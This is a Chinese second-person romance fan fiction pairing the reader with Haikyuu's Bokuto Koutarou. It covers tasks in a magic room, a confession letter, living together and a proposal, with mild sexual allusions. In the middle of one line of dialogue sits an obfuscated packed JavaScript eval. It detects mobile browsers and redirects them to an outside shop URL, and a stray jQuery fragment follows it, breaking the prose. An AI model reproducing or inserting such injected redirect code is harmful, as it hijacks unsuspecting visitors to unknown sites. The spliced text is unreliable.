任务三：共浴。
当这几个字出现在屏幕上时，木兔整个人像被煮熟的虾子，从脖子红到耳根，他张了张嘴想说什么，又咽回去，最后只是指着屏幕。
“这、这太过分了吧！”
浴室在房间一侧凭空出现——一个简单的玻璃隔间，花洒，防滑垫，毛巾，没有门帘，没有遮挡。
你们沉默地站在花洒下，热水打开，蒸汽升腾，玻璃渐渐模糊。
他背对着你，肩膀绷得像石头，水流顺着他宽阔的背肌流下，在紧实的腰线处汇成细流。
你不敢看他，低头冲洗头发，洗发水的泡沫流进眼睛，你下意识去揉，脚下一滑——
他转身接住了你。
本能快过思考，等你反应过来时，已经被他紧紧抱在怀里，热水淋在你们相贴的皮肤上，他的体温透过水流传来，滚烫得惊人。
“小心。”他的声音在你头顶响起。
你没有动，他也没有松开。
他的手放在你腰侧，手指无意识地摩挲着那里的皮肤，这个动作太暧昧，太亲密，你感觉到他的呼吸变重，感觉到他胸膛的起伏——
他突然松手，背过身去：“对、对不起！”
在他转身的瞬间，你看见他后背的镜子里，映出你后腰的纹身，一只小小的展翅的猫头鹰，下面是一个日期，他第一次职业正式比赛的日期。
木兔也看见了。
他僵在原地，水珠顺着他湿漉漉的头发滴落，很久，他转过身，手指颤抖着抚上那个纹身。
“……为什么？”他问。
你没有回答。
他用拇指摩挲着那串数字：“那天……你看了比赛？”
“看了直播。”你说，“在伦敦的凌晨三点。”
他眼眶突然红了。
————
任务四：穿着对方的衣服入睡。
你的睡衣在他身上绷得紧紧的，胸肌几乎要撑开扣子，下摆勉强遮住腰腹，而你穿着他的T恤，宽大的布料垂到大腿，像一件连衣裙。
房间里只有一张床，你们并排躺着，中间隔着一拳的距离。
灯自动熄灭，黑暗吞噬了一切，只有电子屏微弱的荧光，和彼此的呼吸声。
“睡不着？”你轻声问。
“嗯。”他在黑暗里回答，声音闷闷的，“你走了之后，我经常去我们常去的便利店。”
你转过头，虽然看不见他：“为什么？”
“因为那里有卖你喜欢的零食。”
“我每次买一包，放在冰箱里，想着……万一你突然回来呢？”
“冰箱里现在还有吗？”
“……有，大概二十几包吧，有些过期了，但我舍不得扔。”
你转过身，面对他，黑暗中只能看见他模糊的轮廓：“木兔。”
“嗯？”
“我回来了。”
沉默，然后你感觉他挪过来，手臂轻轻环住你，动作小心翼翼。
“这次不走了？”他问，声音里有种孩子气的脆弱。
“不走了。”
他收紧手臂，把脸埋在你肩窝，温热的呼吸拂过锁骨，痒痒的。
“那说定了。”他说，“骗人是小狗。”
你笑了：“嗯，骗人是小狗。”
————
任务五到七，屏幕上的要求开始变化。
“任务五：说一件对方不知道的事。”
木兔盘腿坐在你对面，表情罕见地认真，他想了很久，才开口：
“你出国那天，我去机场了。”
你愣住了。
“躲在柱子后面，”他低着头，手指无意识地抠着地板，“看你排队过安检，你最后回头看了一眼——我以为你在找我，就赶紧躲起来。”
“为什么躲？”
“因为……”
他苦笑，“因为不知道喊住你要说什么。别走？太任性了。等我？太自大了。我喜欢你？当时我连自己是不是喜欢你都没搞清楚。”
他抬起头，金色的眼睛湿漉漉的：“所以我什么都没说，就看着你走了，这五年……每次想起来都后悔。”
你伸手，握住他抠地板的手，他反手紧紧握住。
轮到你了。
“我纹身那天哭了。”
“不是因为疼，是因为……纹身师问我这个日期有什么意义，我说，是喜欢的人第一次实现梦想的日子。”
你停顿，吸了口气：“然后我就哭了，因为那时候太想你了，想得……这里好痛。”
你指了指心口。
木兔盯着你，眼眶一点一点变红，然后他猛地扑过来吻你。
急切，混乱，带着咸涩的泪水味道，他吻你的嘴唇，脸颊，眼睛。
“对不起，”他在吻的间隙喘息着说，“对不起我这么笨，对不起我让你等了这么久，对不起——”
休息间隙。
你们靠墙坐着，他忽然把头靠在你肩上，像高中时那样。
“我现在知道了。”他轻声说。
“知道什么？”
“喜欢。”他的声音很稳，“是想要接吻的那种喜欢，是看到你和别人说话会不高兴的那种喜欢，是五年里每天都想发消息的那种喜欢。”
他转过头，“我喜欢你，不是朋友的喜欢，是男人的喜欢。”
你看着他，“笨蛋，现在才知道。”
“嗯，”他笑了，双手环住你，“我是笨蛋，但笨蛋也有资格喜欢你吧？”
你轻哼一声，没有回答。
————
电子屏“叮”一声，显示所有任务完成。
但你们谁都没去看。
他侧过身，把你搂进怀里，手指一下下梳理你的头发。
“出去之后，”他在你耳边轻声说，“第一件事是什么？”
“不知道，你呢？”
“我要告诉所有人。”他的声音带着笑，“木兔光太郎有女朋友了，是等了五年才等回来的，全世界最好的女朋友。”
你笑了，眼泪却又流下来。
“哭什么？”他吻你的眼睛。
“高兴。”你说，“高兴得快死掉了。”
“不准死。”他抱得更紧，“我们还有一辈子要过呢。”
房间开始变淡，墙壁、地板、天花板，像融化的雪一样渐渐透明。
————
晨光透过酒店的纱帘，在木兔光太郎的脸上投下细碎的光斑。
你醒得比他早，侧躺着看他，五年了，他的睡颜好像变了，又好像没变——眉毛依旧英气，睫毛在眼睑投下阴影，嘴唇微微张着，发出均匀的呼吸声。
但下颌的线条更锋利了，喉结的轮廓更清晰了，肩臂的肌肉在被子下隆起流畅的弧度。
他忽然动了动，眼睛还没睁开，手臂就本能地往旁边捞，摸到你，立刻收紧，把你圈进怀里，脸埋在你发间蹭了蹭。
“……早。”他的声音带着刚醒的沙哑。
“早。”你轻声回应。
他睁开眼睛。
“所以……”他裹着被子坐起来，头发乱得像鸟窝，“我们现在算什么？”
你故意逗他：“完成任务的搭档？”
“不行！”他立刻扑过来，把你压在身下，“是男朋友和女朋友！”
说完又顿了顿，小声补充：“如果你愿意的话……”
你伸手揉乱他本来就乱的头发：“我愿意啊，笨蛋。”
他眼睛“唰”地亮了：“真的？！”
“真的。”
“哦哦哦哦——！！！”
他抱着你在床上滚了一圈，差点掉下去，又手忙脚乱把你捞回来。
“我有女朋友了！木兔光太郎有女朋友了！”
你忍不住跟着他笑。
————
三天后，木兔拉着你去了枭谷学园。
秋天的校园很安静，银杏叶落了满地，踩上去沙沙作响，门卫大叔居然还记得他：“哦！是木兔啊！回来看老师？”
“嗯！还有——”他一把揽住你的肩膀，得意洋洋，“带女朋友回来！”
大叔愣了一下，然后笑了：“我就知道，当年就看你们俩黏糊糊的。”
你的脸有点热。
他们先去了排球部，现役的队员们正在训练，看见木兔进来，瞬间炸了锅。
“是木兔前辈！”“真人比电视上还高！”“可以要签名吗——”
木兔大大方方地签名合影，然后走到场地中央：“看好了！给你们示范一下什么叫真正的扣球！”
他起跳的瞬间，时间好像倒流了五年。
还是那种要击碎一切的气势，球砸在地板上的响声回荡在体育馆里，年轻队员们发出惊叹的呼声。
落地后，他转向你，眼睛亮晶晶的：“怎么样？”
“超级厉害。”你由衷地说。
他跑过来，汗水在阳光下闪闪发亮：“那当然！因为想让你看到最帅的我！”
后来你们去了教学楼的天台，风很大，吹得他的外套猎猎作响，他走到栏杆边——正是五年前你们站过的位置。
“闭上眼睛。”他说。
你闭上眼，听见他在包里翻找的声音，然后一个有点皱的信封被塞进你手里。
“你走后，我在你课桌里找到的。”
你睁开眼，信封已经泛黄，边角磨损，“你怎么知道……”
“赤苇说的。”他挠挠头，“他说‘木兔前辈，她的课桌里有东西，你要不要看看’，我去了，看到这个……当时就哭了。”
你想象不出他哭的样子，“为什么哭？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893861|210507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“因为觉得……我可能再也见不到你了。”
你拆开了封口，信纸还是当年的淡蓝色，上面的字迹工整：
“木兔：
我喜欢你。
不是朋友的那种喜欢。”
就这么几行字，五年前没勇气送出的全部心意。
翻到背面，有一行歪歪扭扭明显是后来加上去的字。
“我也喜欢你
从以前到现在
虽然我发现自己喜欢得太晚了，但能不能……补一张迟到的恋人券？
——光太郎”
他已经紧张得耳朵都红了：“字、字很丑我知道！练习了好久还是这样……”
你没说话，只是走过去，踮起脚尖吻他。
风把信纸吹得哗啦作响，远处传来上课铃声，银杏叶在脚下旋转。
————
同居的决定做得很快。
其实也不算决定，就是某个周末你在他公寓留宿后，发现衣柜里多了一半你的衣服，浴室有了你的牙刷，冰箱有你爱喝的酸奶。
“这样你就不用每次带行李过来了！”他理直气壮。
早晨，他醒来的第一件事一定是说“我喜欢你”，有时候眼睛还没睁开，嘴唇就先动了。
你问为什么，他认真回答：“欠了五年的份要说回来，一天三遍的话，五年就是……呃，好多遍！反正要说好久！”
你的照片成了他的锁屏、壁纸、聊天背景。
每次训练休息，他都会拿出手机看，被队友调侃就大声宣布：“我女朋友！超——级——可爱！”
宫侑翻白眼：“知道你恋爱了行了吧！”
木兔瞪回去：“你知道什么！这可是我等了五年才等回来的女朋友！”
夜晚，他喜欢从背后抱着你睡，手臂横在你腰间，脸贴在你后颈。
你翻身面对他，他迷迷糊糊把你搂得更紧，嘟囔：“别走……”
“不走。”你轻声说。
“永远？”
“永远。”
迟来的曾经在无数个夜晚慢慢铺开。
某次做完他抱着你，手指有一下没一下地绕你的头发。
“你走之后，”他忽然说，“我有段时间扣球老是出界。”
“为什么？”
“赤苇说是因为我总在找观众席……找你。”
他的声音低下去，“他说‘木兔前辈，她不在那里了’，我知道，但我控制不住，眼睛就是会往那个方向看。”
“后来呢？”
“后来我就想，要变得更强，强到就算你不在，也能让你在世界的某个地方看到我。”
他顿了顿，“强到你回来的时候，会觉得‘哇，木兔变得这么厉害了！’”
你转过身，在黑暗中摸他的脸：“我一直都觉得你很厉害。”
“现在更厉害！”
“嗯，现在更厉害。”
还有一次，你告诉他你在国外看比赛的事。
定凌晨三点的闹钟，躲在被子里戴耳机看直播，看他赢球时不敢欢呼怕吵醒家人，只能捂着嘴无声地笑。
他听完，很久没说话，然后把脸埋在你颈窝，肩膀微微发抖。
“怎么了？”你轻声问。
“……没事。”他的声音闷闷的，“就是觉得……我们浪费了五年。”
“现在补回来了。”
“不够。”他抬起头，眼睛湿漉漉的，“一辈子都不够补，所以我们要一直在一起，一秒都不分开。”
你吻他，尝到咸涩的味道。
“好，一秒都不分开。”
再后来，你们的生活被琐碎的日常填满。
他会因为偷吃你做的布丁而撒娇道歉；你会在他比赛前熬夜做应援饼干，还是猫头鹰形状。
他训练受伤时，你一边骂他一边小心地给他冰敷；你工作加班时，他会带着宵夜去公司楼下等，不管多晚。
五年很长，但比起接下来要一起度过的十年、二十年、五十年，五年又好像很短。
某个春天的早晨，你们在阳台上看樱花，风吹过，花瓣像雪一样飘落。
木兔从背后抱住你，下巴搁在你肩上。
“那个。”
“嗯？”
“我们结婚吧。”
你愣住了。
“不是现在！”他立刻补充，“我是说……等赛季结束，等你有空，等我们都准备好的时候。”他的声音越来越小，“如果你愿意的话……”
你转过身，看着他紧张得乱飘的眼神，笑了。
“好啊。”
“真的？！”
“真的。”
“哦哦哦哦——！！！”
他抱起你转圈，像高中时那样，樱花落在你们身上，像一场温柔的祝福。